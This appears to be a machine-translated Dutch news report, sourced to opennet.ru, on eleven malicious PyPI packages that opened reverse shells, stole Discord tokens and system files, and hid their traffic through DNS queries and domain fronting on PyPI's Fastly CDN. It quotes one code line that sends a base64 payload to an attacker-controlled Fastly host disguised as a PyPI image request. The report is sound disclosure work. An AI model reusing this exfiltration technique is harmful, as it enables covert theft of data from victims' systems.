Schadelijke bibliotheken gedetecteerd in de PyPI-catalogus die de PyPI CDN gebruiken om het communicatiekanaal te verbergen

In de PyPI-map (Python Package Index) werden 11 pakketten met kwaadaardige code geïdentificeerd. Voordat er problemen werden vastgesteld, waren de pakketten in totaal ongeveer 38 keer gedownload. De gedetecteerde kwaadaardige pakketten vallen op door het gebruik van geavanceerde methoden om de communicatiekanalen met de servers van de aanvallers te verbergen.

  • importantpackage (6305 downloads), important-package (12897) - bracht een verbinding tot stand met een externe server onder het mom van verbinding maken met pypi.python.org om shell-toegang tot het systeem te bieden (reverse shell) en gebruikte het trevorc2-programma om de communicatiekanaal.
  • pptest (10001), ipboards (946) - gebruikt DNS als communicatiekanaal om informatie over het systeem te verzenden (in het eerste pakket de hostnaam, werkmap, interne en externe IP, in het tweede - de gebruikersnaam en hostnaam) .
  • Owlmoon (3285), DiscordSafety (557), yiffparty (1859) - identificeerde het Discord-servicetoken in het systeem en stuurde het naar een externe host.
  • trrfab (287) - stuurde de identificatie, hostnaam en inhoud van /etc/passwd, /etc/hosts, /home naar de externe host.
  • 10Cent10 (490) - heeft een omgekeerde shell-verbinding tot stand gebracht met een externe host.
  • yandex-yt (4183) - gaf een bericht weer dat het systeem was gehackt en werd doorgestuurd naar een pagina met aanvullende informatie over verdere acties via nda.ya.ru (api.ya.cc).

Van bijzonder belang is de methode voor toegang tot externe hosts die wordt gebruikt in de importantpackage- en important-package-pakketten, die het Fastly content delivery-netwerk gebruikten dat in de PyPI-directory werd gebruikt om hun activiteit te verbergen. In feite werden verzoeken verzonden naar de pypi.python.org-server (inclusief het specificeren van de naam python.org in SNI binnen het HTTPS-verzoek), maar de HTTP “Host” -header bevatte de naam van de server die werd beheerd door de aanvallers (sec. forward.io.global.prod.fastly.net). Het contentleveringsnetwerk stuurde een soortgelijk verzoek naar de aanvallende server, waarbij de parameters van de TLS-verbinding met pypi.python.org werden gebruikt bij het verzenden van gegevens.

De PyPI-infrastructuur wordt mogelijk gemaakt door het Fastly content delivery-netwerk, dat de transparante proxy van Varnish gebruikt om typische verzoeken in de cache op te slaan, en ook TLS-certificaatverwerking gebruikt op CDN-niveau, in plaats van op de eindservers, om HTTPS-verzoeken via een proxy door te sturen. Ongeacht de doelhost worden verzoeken verzonden naar de proxy, die de gewenste host bepaalt met behulp van de HTTP “Host” -header, en de hostdomeinnamen worden gekoppeld aan de IP-adressen van de CDN load balancer die typisch zijn voor alle Fastly-clients.

De server van de aanvaller registreert zich ook bij CDN Fastly, dat iedereen gratis abonnementen biedt en zelfs anonieme registratie mogelijk maakt. Het is opmerkelijk dat om verzoeken naar het slachtoffer te sturen bij het maken van een "reverse shell", ook een schema wordt gebruikt, maar dan geïnitieerd vanaf de kant van de host van de aanvaller. Van buitenaf lijkt de interactie met de server van de aanvaller op een legitieme sessie met de PyPI-directory, gecodeerd met een PyPI TLS-certificaat. Een soortgelijke techniek, bekend als ‘domain fronting’, werd eerder actief gebruikt om de hostnaam te verbergen bij het omzeilen van blokkering, waarbij gebruik werd gemaakt van de mogelijkheid die in sommige CDN-netwerken wordt geboden om toegang te krijgen tot HTTPS door een fictieve host in de SNI aan te geven en feitelijk de naam van de host door te geven. aangevraagde host in de HTTP Host-header binnen een TLS-sessie.

Schadelijke bibliotheken gedetecteerd in de PyPI-catalogus die de PyPI CDN gebruiken om het communicatiekanaal te verbergen

Om kwaadaardige activiteiten te verbergen, werd het TrevorC2-pakket bovendien gebruikt om de interactie met de server vergelijkbaar te maken met gewone webnavigatie. Er werden bijvoorbeeld kwaadaardige verzoeken verzonden onder het mom van het downloaden van de afbeelding “https://pypi.python.org/images/ guid=” met informatiecodering in de guid-parameter. url = "https://pypi.python.org" + "/images" + "?" + “guid=” + b64_payload r = request.Request(url, headers = {‘Host’: “psec.forward.io.global.prod.fastly.net”})

De pptest- en ipboards-pakketten gebruikten een andere aanpak om netwerkactiviteit te verbergen, gebaseerd op het coderen van nuttige informatie in zoekopdrachten naar de DNS-server. De malware verzendt informatie door DNS-verzoeken uit te voeren, zoals “nu4timjagq4fimbuhe.example.com”, waarbij de gegevens die naar de controleserver worden verzonden, worden gecodeerd met behulp van het base64-formaat in de subdomeinnaam. De aanvaller ontvangt deze berichten door de DNS-server voor het example.com-domein te controleren.

Bron: opennet.ru

Voeg een reactie